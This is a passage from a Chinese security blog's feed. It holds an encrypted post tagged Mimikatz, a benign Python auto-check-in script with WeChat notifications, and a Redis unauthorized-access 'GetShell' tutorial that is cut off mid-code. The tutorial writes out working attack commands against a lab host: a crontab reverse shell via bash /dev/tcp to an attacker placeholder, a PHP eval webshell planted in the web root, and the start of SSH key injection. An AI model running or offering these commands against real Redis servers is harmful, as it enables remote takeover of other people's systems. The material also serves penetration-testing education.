88971245f35491ae22266c3f2fa83f3335e5f5ddf415ef8f7597983e578a26d82ec9df3d5d368a9bfed96b21df5007770604d8bed4ddf09c2ecf43c70a784260b9a295dbc9e4b4b9218d91337d033ef5362f5f1769ced3f3e7d925983942d68bb09774328ce4f652869e89eb15bc28e1d48169d1f17501c921a8bfa49e2c2c2e1e7fa9a9aed7fb425e29bfbd7a8beaa381549911dec34403f1d8fb3d589a8ec7ac18676a9c754e6fd9092f5c042a2993406a9edee8331fd630e45f8d73f8893dfa1d8d8f679f1ff9e2a69932ed54406158c3c291bc4dd04d0a2648497c5819d26728b21ef5f971e9f4ae6312a494955e1b4668de0a8f594a57f9f072e8fc51b226d562b181cf2da76834f34a6a29a11f419dfb2a6097eb55e2c463c1021af6902c4dfee44f1689fd8bd66cd9c158cf869fe63ba1c782eb72a2f05de14d30fbbc1d82f876ff3bb8b7018cc0ee3fda20422a412faee5ef8195e2363ded05c33b4ec5fb2e57ee77fd4402ac4085f3d0c46b15f096375d858998f21f66de2a974714102b964c121a4b99d394f7ef62d848e1ca9fce5a6c6bfe5df5557e04d596e5875493911cc37c2f0c7e16b2441b67df3eba7660b444803c7fef2ecb957f6e89226e57098297391a2c9413424e1a0ae8b81d4f0d9b55e8b7b5d0a3d811ad3bc8ee6463faf52362c3ac0d4e6c8fb0423144f9fe6a082122f70c018e6a77be8fc796299cfcece7403a29080f5287bb55b6112a2e67f903c4afd3edff645d339abe54443262d78e226afe960b994ae15a39d65b283ae216ef9aed5f18038d478425a66a1a1188fc6803564ff92d568d045cf54d89a884d33430310cb17d026eeb624de2fa9fbe0409959c93a2bcfd5b93ddb34baa6b82418d32f9faa600d22957e80ffb2f0e5cedead46d5fc497ada7b0829e7d76fa276a0d1b91d1e9ef7ee7ae32f7a04242d6e8a6604464f214ece9e791694740eda3f01defff592762f343610d73eced31654bc72d41bdef831c2d8c7d0106f648709b013c972ac47f5089fbecf073c919924a795d561fa60673e033980e6d0e1e897642b575932c9f14f6d1151f49916b3791432767b004d95f97762b9e195a5c85a08559ec6663de9e8e5ce75294d59c9dcaa9b18b43a568b1dd584a37dcdbadc60dad032b9d7fbcae19784e2062cdcf578c9db92bc6b6e461941f8a52d52a2ea85c4f88c1e3530d03d3e041aacd114fdd879697fd91b4e4878874e348fb3b72c688ccc07db59066cbe6001c7c25aa531e87bd591afd0c2bb6ad06efd173f75b30d4b1a89fae98a0fb9ebeb3cb6848d5464df05cf0b8a32191b7402b1725c703fb6f84251e5daac22b30feaaded05754939c207327f2740b14ec5334b5390c7ddf084cbdcfee0df78654ba4cca46e90c7e2a88618ec79cb8dc660eefb9b17c153b2be1b369e7a792e36eb4a494fdef40252760e4e629a321afd6a81e85a0ea3808e6a9b48b22e2a63c71287e5351f3a098504a1183a48bb03c549275c7900491f29bb5b100b3c1a89fe5e8c6875c56e65d9f4ba423ade1ead54f7a84972d4238c0883d6514a02ebf153eb54b68ee540e1a953908a55ea1094a5083fdeb79940557d607510ea8ea1d30f39ace71711a0abce2beb69d94da4d5a7db359137441994c94b4b4650b7e889c06d527c69cc5105e9fcd6536d5370fa788e2fccb5d06a334697e42e9523fa24afe4ed662ea3dc1a9ee43f0ee9f1e42354b9f5cb6e1d21647b5162e34e0d5d59d7880d440847e1b7094884340ef3139d098fa243f9f204c6150e0bd63952e72f1271f711758e94397775e2d719a6ab52a34eb003c9f9413097b807a50ee7b290a2ae13aa699b432bade3c55f4f0c636256732ccc56c5187f16dc1d860768cdfb30f709f05fbf325a8aec8c4ba0cdc845836ee4156cff2799f5bdcb71dae6cc0a4a81cf96f200ed4858e193a29d3652b29bb93132f0b80d74afa4a657725e7d0c2c3ea7915c9efab5eb9c1a62005a1344bd267915fdcdde059053281789842575182d293b923df025c3ed4450d36dc94f294854ae88996b330d1d6c9a371f83238b13bfc16e3446f7da3f61625e6032d8e0af1e72665fe67964621b5074c34dca20831f13e01bd61520121a9da975a79de54c15032866e50052549b5c90b6e47956326c762cacf97e7d6b07cb23527d0a57320cff31558f455f38d8dbc5074d423b767e0ae31930609fe4b8522607b35f127941885a59276de7817a444413dca4ba9d9a32bc5189d9159cfe8c1694375375038fa9b2e8a5e6b9c5649a7181e87bb9561c6ef12984468e3b376c121818f5f24834ce47c461cf37ecd708c31422c5525b9073e64228854289fb2d329f3c5c7142be85ce149eb008b0ec556c8c08e2e4457c28a4eea822f4b2b2e744cebc554053d3db901405caac1aaa1254ad94964990fde51620b3f1e02ab93d1355a2f67eb1ceeda8aeaeacca6ccb6740f6c0da6a83749c47bad20c329644e1c56a705f8dd570e1a165122ccc721d9526f5f512475bd53e1c7e8a56d0a935558dfbe0dd47492cc9af2f54277bbb50f9d5d93fc993c8b58964206cc2194955e3f4061127688f754c96890f71c4635bb46c86b16eb27a160cf391d34e8a4ce587fd8e4747db1d43a84c07cad49ced7531add21b757224a9c6ca2e16fbafd68f07c6918231b9e355c3223ea65935159caad3d2ad4ab2d39e5a7b004efeebfaed1426507a21d7b1b060556687647f650acd1f86a7171e2ed844f6392887cb92ea84d2427733d106c36c5b8925e42fcb8ab76862ed6772f485444b80bc301334a49f0136459ca304a6dd971f8cb62d983400270e293fb572ff82b5e821380bc7d39771d0ead08cc44b22c70e947cce4996a0cf419e89b6f21560ae3b6ac0d6dfb9c04bd740c1d556d641746940edfad87f7746e0f4bc54506c592503e636412e29ea246a439de0601cd76942e2f2aead32f6d1da1d32f80af263e387fc00850f353d8ec5b1dbeeee31dd62bed1c4b8160031ba31b814a372ea80c18c0b3ee99daa6287b2e0453239391f87b161dd9c469937558cd9baf92e6d400aba5f14bdadef3f9b4fb8f69af150d8733ea8a4526aa2db560eabb672e19fb85db0a6423464912f8bd4af0842043e6db0c0aa08c1c9bfd1f41c8aae730f7fe77dd8954f5073f5f91b9ae794654dfa7d5fb77bf1187ed30d935711d447edd6fa1819a30d68b40734ccff60cadb422c88aa475b5b480e046918a77b61a296ce1722af9e153a642486bdf6b8d03bf738425c9789f0d95ce833dc7aa530df5a57ed6206f5f5937f4ad662e87958f54abc398071c43afaed66d3120a0609c62c4da64b2d203fce6a051</script></div><script src="/lib/blog-encrypt.js"></script><link href="/css/blog-encrypt.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">Here&#39;s something encrypted, password is required to continue reading.</summary>
    
    
    
    <category term="Note" scheme="https://www.lintstar.top/categories/Note/"/>
    
    
    <category term="Attack" scheme="https://www.lintstar.top/tags/Attack/"/>
    
    <category term="Domain" scheme="https://www.lintstar.top/tags/Domain/"/>
    
    <category term="Mimikatz" scheme="https://www.lintstar.top/tags/Mimikatz/"/>
    
  </entry>
  
  <entry>
    <title>Python 实现自动登录签到及微信通知</title>
    <link href="https://www.lintstar.top/2021/01/5bf799f.html"/>
    <id>https://www.lintstar.top/2021/01/5bf799f.html</id>
    <published>2021-01-22T14:00:58.000Z</published>
    <updated>2023-11-09T07:40:38.119Z</updated>
    
    <content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p><strong>零组资料文库 3.0 设置了信誉积分机制：</strong></p><table><thead><tr><th>信誉积分</th><th>权限</th></tr></thead><tbody><tr><td>0-200</td><td>六个月之前的文章</td></tr><tr><td>201-400</td><td>五个月之前的文章</td></tr><tr><td>401-600</td><td>四个月之前的文章</td></tr><tr><td>601-800</td><td>三个月之前的文章</td></tr><tr><td>801-1000</td><td>两个月之前的文章</td></tr><tr><td>1000分以上</td><td>一个月之前的文章</td></tr></tbody></table><p><strong>加分规则：</strong></p><p><strong>每日签到可加3分；投稿文章可加10分。</strong></p><blockquote><p>文库的权限是随着时间线进行推进的，也就是说即使一直是0分，也会在时间线的推进下自动递增可浏览的文章。</p></blockquote><p><strong>所以就需要一个签到脚本啦 ~</strong></p><h1 id="验证码识别"><a href="#验证码识别" class="headerlink" title="验证码识别"></a>验证码识别</h1><p><strong>因为零组的登录界面涉及到验证码</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210124120235.webp" alt="20210124_1159"></p><p><strong>需要一个验证码识别接口：</strong></p><p><strong>图鉴：<a href="http://www.ttshitu.com/">http://www.ttshitu.com/</a></strong></p><h2 id="价格"><a href="#价格" class="headerlink" title="价格"></a>价格</h2><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210122181937.png" alt="image-20210122181937953"></p><p><strong>流量包完全没必要 1块500次可以用好久</strong></p><h2 id="识别效果"><a href="#识别效果" class="headerlink" title="识别效果"></a>识别效果</h2><p><strong>这种简单的验证码准确度还是很不错的：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210122182317.png" alt="image-20210122182317193"></p><h1 id="Server-酱"><a href="#Server-酱" class="headerlink" title="Server 酱"></a>Server 酱</h1><p><strong>Python3 测试脚本：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># coding=utf-8</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">key = <span class="string">&quot;&quot;</span> <span class="comment"># Server 酱的SCKEY</span></span><br><span class="line">url = <span class="string">&quot;https://sc.ftqq.com/%s.send&quot;</span>%(key)</span><br><span class="line">headers = &#123;<span class="string">&#x27;User-Agent&#x27;</span>:<span class="string">&#x27;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36&#x27;</span>&#125;</span><br><span class="line">payload = &#123;<span class="string">&#x27;text&#x27;</span>: <span class="string">&#x27;Server 酱提醒&#x27;</span>, <span class="string">&#x27;desp&#x27;</span>: <span class="string">&#x27;Python 用 Server 酱推送微信模板消息&#x27;</span>&#125;</span><br><span class="line">requests.post(url, params=payload, headers=headers)</span><br></pre></td></tr></table></figure><p><strong>复制SCKEY：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210122235416.png" alt="image-20210122235416805"></p><h1 id="自动签到脚本"><a href="#自动签到脚本" class="headerlink" title="自动签到脚本"></a>自动签到脚本</h1><p><strong>脚本改自：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210122202435.png" alt="image-20210122202435193"></p><p><strong>添加了 Server 酱微信通知功能 方便每天接收通知</strong></p><p><strong>下载地址：<a href="https://github.com/lintstar/Zero-AutoCheck/releases">https://github.com/lintstar/Zero-AutoCheck/releases</a></strong></p><h2 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h2><p><strong>在 ① ② 处填入 <a href="http://www.ttshitu.com/">图鉴</a> 的账号密码 ③ 处填入 <a href="http://sc.ftqq.com/?c=code">Server 酱</a> 的 SCKEY</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210122203901.png" alt="image-20210122203901971"></p><p><strong>④ ⑤ 处分别填入 <a href="https://wiki.0-sec.org/#/login">零组文库</a> 的账号密码</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210122204419.png" alt="image-20210122204419293"></p><h1 id="脚本效果"><a href="#脚本效果" class="headerlink" title="脚本效果"></a>脚本效果</h1><p><strong>通知效果</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210122204759.png" alt="image-20210122204759618"></p><h2 id="签到失败通知"><a href="#签到失败通知" class="headerlink" title="签到失败通知"></a>签到失败通知</h2><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210122204838.png" alt="image-20210122204838079"></p><h2 id="签到成功效果"><a href="#签到成功效果" class="headerlink" title="签到成功效果"></a>签到成功效果</h2><p><strong>每日首次签到通知</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210123001123.png" alt="image-20210123001123289"></p><p><strong>重复签到通知</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210122204857.png" alt="image-20210122204857759"></p><h1 id="VPS-Crontab"><a href="#VPS-Crontab" class="headerlink" title="VPS Crontab"></a>VPS Crontab</h1><ol><li><p><strong>新建文件夹</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mkdir Auto</span><br><span class="line"><span class="built_in">cd</span> Auto</span><br></pre></td></tr></table></figure></li><li><p><strong>下载脚本</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://github.com/lintstar/Zero-AutoCheck/releases/download/1.0/Zero-AutoCheck.py</span><br></pre></td></tr></table></figure></li><li><p><strong>替换自己的账号密码和 SCKEY</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim Zero-AutoCheck.py</span><br></pre></td></tr></table></figure></li><li><p><strong>安装 Python3.6</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum -y install python36</span><br></pre></td></tr></table></figure></li><li><p><strong>添加定时任务</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">crontab -e</span><br></pre></td></tr></table></figure></li><li><p><strong>新增 每天9点20执行脚本</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">20 9 * * * /usr/bin/python3 /root/Auto/Zero-AutoCheck.py</span><br></pre></td></tr></table></figure></li><li><p><strong>保存退出</strong></p></li></ol><h1 id="运行效果"><a href="#运行效果" class="headerlink" title="运行效果"></a>运行效果</h1><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210124120619.png" alt="image-20210124120619040"></p><h2 id="每天-3-积分"><a href="#每天-3-积分" class="headerlink" title="每天 3 积分 ~"></a>每天 3 积分 ~</h2><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210124120643.png" alt="image-20210124120643281"></p><blockquote><p>测试时候出现了几次签到成功却没有通知到微信的情况，是因为方糖近期服务器稳定性的问题：</p></blockquote><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210124120920.png" alt="image-20210124120920691"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h1&gt;&lt;p&gt;&lt;strong&gt;零组资料文库 3.0 设置了信誉积分机制：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;信誉</summary>
      
    
    
    
    <category term="Fun" scheme="https://www.lintstar.top/categories/Fun/"/>
    
    
    <category term="Python" scheme="https://www.lintstar.top/tags/Python/"/>
    
    <category term="ServerChan" scheme="https://www.lintstar.top/tags/ServerChan/"/>
    
    <category term="Crontab" scheme="https://www.lintstar.top/tags/Crontab/"/>
    
  </entry>
  
  <entry>
    <title>Redis GetShell 姿势总结</title>
    <link href="https://www.lintstar.top/2021/01/d0e169c6.html"/>
    <id>https://www.lintstar.top/2021/01/d0e169c6.html</id>
    <published>2021-01-02T14:22:22.000Z</published>
    <updated>2023-11-09T07:40:38.119Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Crontab-计划任务"><a href="#Crontab-计划任务" class="headerlink" title="Crontab 计划任务"></a>Crontab 计划任务</h1><p>Crontab 是 Linux系统或 Unix 系统中常用的定时命令,使用 Crontab 可以在指定的时间执行一个 Shell 脚本或者一系列 Linux/Unix 命令。</p><h2 id="Crontab-格式"><a href="#Crontab-格式" class="headerlink" title="Crontab 格式"></a>Crontab 格式</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">*    *    *    *    *    <span class="built_in">command</span></span><br><span class="line">-    -    -    -    -    -</span><br><span class="line">|    |    |    |    |    |</span><br><span class="line">|    |    |    |    |    +----- 需要执行的命令（绝对路径）</span><br><span class="line">|    |    |    |    +---------- 星期中星期几 (0 - 7) (星期天 为0)</span><br><span class="line">|    |    |    +--------------- 月份 (1 - 12) </span><br><span class="line">|    |    +-------------------- 一个月中的第几天 (1 - 31)</span><br><span class="line">|    +------------------------- 小时 (0 - 23)</span><br><span class="line">+------------------------------ 分钟 (0 - 59)</span><br></pre></td></tr></table></figure><h2 id="Crontab-示例"><a href="#Crontab-示例" class="headerlink" title="Crontab 示例"></a>Crontab 示例</h2><ol><li>在每天凌晨过一分钟12:01 a.m 执行</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1 0 * * * /root/bin/backup.sh</span><br></pre></td></tr></table></figure><ol start="2"><li>每个工作日(Mon – Fri) 11:59 p.m 执行</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">59 11 * * 1,2,3,4,5 /root/bin/backup.sh</span><br></pre></td></tr></table></figure><p>下面例子与上面的例子效果一样：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">59 11 * * 1-5 /root/bin/backup.sh</span><br></pre></td></tr></table></figure><ol start="3"><li>每5分钟执行一次命令</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">*/5 * * * * /root/bin/check-status.sh</span><br></pre></td></tr></table></figure><ol start="4"><li>每个月的第一天 1:10 p.m 执行</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">10 13 1 * * /root/bin/full-backup.sh</span><br></pre></td></tr></table></figure><ol start="5"><li>每个工作日 11 p.m 执行</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0 23 * * 1-5 /root/bin/incremental-backup.sh</span><br></pre></td></tr></table></figure><h2 id="Crontab-选项"><a href="#Crontab-选项" class="headerlink" title="Crontab 选项"></a>Crontab 选项</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">crontab –e :  修改 crontab 文件. 如果文件不存在会自动创建。 </span><br><span class="line">crontab –l :  显示 crontab 文件。 </span><br><span class="line">crontab -r :  删除 crontab 文件。</span><br><span class="line">crontab -ir : 删除 crontab 文件前提醒用户。</span><br></pre></td></tr></table></figure><h2 id="Cron表达式和Crontab的区别"><a href="#Cron表达式和Crontab的区别" class="headerlink" title="Cron表达式和Crontab的区别"></a>Cron表达式和Crontab的区别</h2><ul><li><p>Cron表达式从左往右，从秒开始；而Crontab则是从分钟开始的。</p></li><li><p>Cron表达式是一个字符串，字符串以5或6个空格隔开，分为6或7个域，每一个域代表一个含义，</p></li><li><p>Cron有如下两种语法格：</p><p>（1）Seconds   Minutes   Hours   DayofMonth   Month   DayofWeek   Year</p><p>（2）Seconds   Minutes   Hours   DayofMonth   Month   DayofWeek </p></li><li><p>Crontab格式：</p><p>MIN（分钟） HOUR（小时） DAY（日期） MONTH（月份） DAYOFWEEK（星期） COMMAND（命令） </p></li></ul><hr><h1 id="漏洞成因"><a href="#漏洞成因" class="headerlink" title="漏洞成因"></a>漏洞成因</h1><ol><li><strong>redis绑定在 0.0.0.0:6379，且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略，直接暴露在公网</strong></li><li><strong>没有设置密码认证（一般为空），可以免密码远程登录redis服务</strong></li></ol><hr><h1 id="环境准备"><a href="#环境准备" class="headerlink" title="环境准备"></a>环境准备</h1><p><strong>目标机器：172.16.186.4</strong></p><h2 id="Kali-开启-SSH"><a href="#Kali-开启-SSH" class="headerlink" title="Kali 开启 SSH"></a>Kali 开启 SSH</h2><h4 id="1-查看ssh服务状态"><a href="#1-查看ssh服务状态" class="headerlink" title="1. 查看ssh服务状态"></a>1. 查看ssh服务状态</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/etc/init.d/ssh status</span><br></pre></td></tr></table></figure><h4 id="2-修改配置文件"><a href="#2-修改配置文件" class="headerlink" title="2.修改配置文件"></a>2.修改配置文件</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/ssh/sshd_config</span><br></pre></td></tr></table></figure><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201222103844.png" alt="20201222_1007"></p><h4 id="3-启动ssh服务"><a href="#3-启动ssh服务" class="headerlink" title="3. 启动ssh服务"></a>3. 启动ssh服务</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/etc/init.d/ssh start</span><br></pre></td></tr></table></figure><p>查看服务状态</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/etc/init.d/ssh status</span><br></pre></td></tr></table></figure><p>开机启动</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">update-rc.d ssh <span class="built_in">enable</span></span><br></pre></td></tr></table></figure><h2 id="配置-Redis"><a href="#配置-Redis" class="headerlink" title="配置 Redis"></a>配置 Redis</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">wget http://download.redis.io/releases/redis-3.2.11.tar.gz </span><br><span class="line">tar zxvf redis-3.2.11.tar.gz </span><br><span class="line"><span class="built_in">cd</span> redis-3.2.11</span><br><span class="line">cp redis.conf /etc/redis.conf</span><br><span class="line">make</span><br><span class="line"><span class="built_in">cd</span> src</span><br><span class="line">cp redis-server /usr/bin/</span><br><span class="line">cp redis-cli /usr/bin/</span><br><span class="line">vim /etc/redis.conf</span><br></pre></td></tr></table></figure><blockquote><p>去掉ip绑定，允许除本地外的主机远程登录redis服务 前面加#注释掉</p><p>关闭保护模式，允许远程连接redis服务将yes 改为no</p></blockquote><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201222110807.png" alt="20201222_1107"></p><h2 id="启动-Redis"><a href="#启动-Redis" class="headerlink" title="启动 Redis"></a>启动 Redis</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">redis-server /etc/redis.conf</span><br></pre></td></tr></table></figure><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201222111048.png" alt="image-20201222111048640"></p><hr><h1 id="常用命令"><a href="#常用命令" class="headerlink" title="常用命令"></a>常用命令</h1><p><strong>连接 Redis 服务器</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">redis-cli -h 172.16.186.4</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"> （1）info                       查看信息     </span><br><span class="line"> （2）flushall                 删除所有数据库内容</span><br><span class="line"> （3）flushdb                    刷新数据库</span><br><span class="line"> （4）KEYS * 查看所有键，使用select num可以查看键值数据。</span><br><span class="line"> （5）<span class="built_in">set</span> <span class="built_in">test</span> <span class="string">&quot;who am i&quot;</span>        设置变量</span><br><span class="line"> （6）config <span class="built_in">set</span> dir &#123;dirpath&#125;     设置路径等配置</span><br><span class="line"> （7）config <span class="built_in">set</span> dbfilename redis.rdb 设置备份文件名</span><br><span class="line"> （8）config get dir/dbfilename  获取路径及数据配置信息</span><br><span class="line"> （9）save                       保存</span><br><span class="line">（10）get                        变量，查看变量名称</span><br></pre></td></tr></table></figure><p><strong>MSF 下利用模块</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">auxiliary/scanner/redis/file_upload </span><br><span class="line">auxiliary/scanner/redis/redis_login</span><br><span class="line">auxiliary/scanner/redis/redis_server</span><br></pre></td></tr></table></figure><p><strong>nmap获取信息</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -A -p 6379 --script redis-info 172.16.186.4</span><br></pre></td></tr></table></figure><blockquote><p>GetShell 原理：攻击者在未授权访问 Redis 的情况下，利用 Redis 自身的提供的 config 命令，可以进行写文件操作，我们可以将dir 设置为一个目录 a，而 dbfilename 为文件名 b，再执行 save 或 bgsave，就可以写入一个路径为 a/b 的任意文件。</p></blockquote><hr><h1 id="计划任务反弹-Shell"><a href="#计划任务反弹-Shell" class="headerlink" title="计划任务反弹 Shell"></a>计划任务反弹 Shell</h1><ul><li><strong>在 Redis 以 root 权限运行时可以写 crontab 来执行命令反弹 shell</strong></li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># VPS 启监听</span></span><br><span class="line">➜ nc -lvp 6666</span><br><span class="line"></span><br><span class="line"><span class="comment"># 攻击机连接 Redis (若其他端口加 -p)</span></span><br><span class="line">➜ redis-cli -h 172.16.186.4</span><br><span class="line"></span><br><span class="line">172.16.186.4:6379&gt; <span class="built_in">set</span> x <span class="string">&quot;\n* * * * * bash -i &gt;&amp; /dev/tcp/xx.xx.xx.xx/port 0&gt;&amp;1\n&quot;</span></span><br><span class="line">OK</span><br><span class="line">172.16.186.4:6379&gt; config <span class="built_in">set</span> dir /var/spool/cron/</span><br><span class="line">OK</span><br><span class="line">172.16.186.4:6379&gt; config <span class="built_in">set</span> dbfilename root</span><br><span class="line">OK</span><br><span class="line">172.16.186.4:6379&gt; save</span><br><span class="line">OK</span><br></pre></td></tr></table></figure><blockquote><p>Tips：默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root </p><p>crontab -l  列出某个用户cron服务的详细内容</p><p>crontab -r  删除每个用户cront任务 (谨慎：删除所有的计划任务) </p><p>crontab -e  使用编辑器编辑当前的crontab文件 </p><p>如：*/1 * * * * echo “hello world” &gt;&gt; /tmp/test.txt 每分钟写入文件</p></blockquote><hr><h1 id="Web-目录写-Shell"><a href="#Web-目录写-Shell" class="headerlink" title="Web 目录写 Shell"></a>Web 目录写 Shell</h1><ol><li><strong>当 redis 权限不高且服务器开着 web 服务</strong></li><li><strong>redis 有 web 目录写权限</strong></li><li><strong>可以尝试往 web 路径写 webshell</strong></li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 攻击机连接 Redis (若其他端口加 -p)</span></span><br><span class="line">➜ redis-cli -h 172.16.186.4</span><br><span class="line"></span><br><span class="line">172.16.186.4:6379&gt; config <span class="built_in">set</span> dir /var/www/html/</span><br><span class="line">OK</span><br><span class="line">172.16.186.4:6379&gt; config <span class="built_in">set</span> dbfilename shell.php</span><br><span class="line">OK</span><br><span class="line">172.16.186.4:6379&gt; <span class="built_in">set</span> x <span class="string">&quot;&lt;?php @eval(<span class="variable">$_POST</span>[&#x27;shell&#x27;]);?&gt;&quot;</span></span><br><span class="line">OK</span><br><span class="line">172.16.186.4:6379&gt; save</span><br><span class="line">OK</span><br></pre></td></tr></table></figure><hr><h1 id="写-ssh-keygen-公钥获取权限"><a href="#写-ssh-keygen-公钥获取权限" class="headerlink" title="写 ssh-keygen 公钥获取权限"></a>写 ssh-keygen 公钥获取权限</h1><ol><li><strong>Redis服务使用ROOT账号启动</strong></li><li><strong>服务器开放了SSH服务，而且允许使用密钥登录，即可远程写入一个公钥，直接登录远程服务器。</strong></li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span 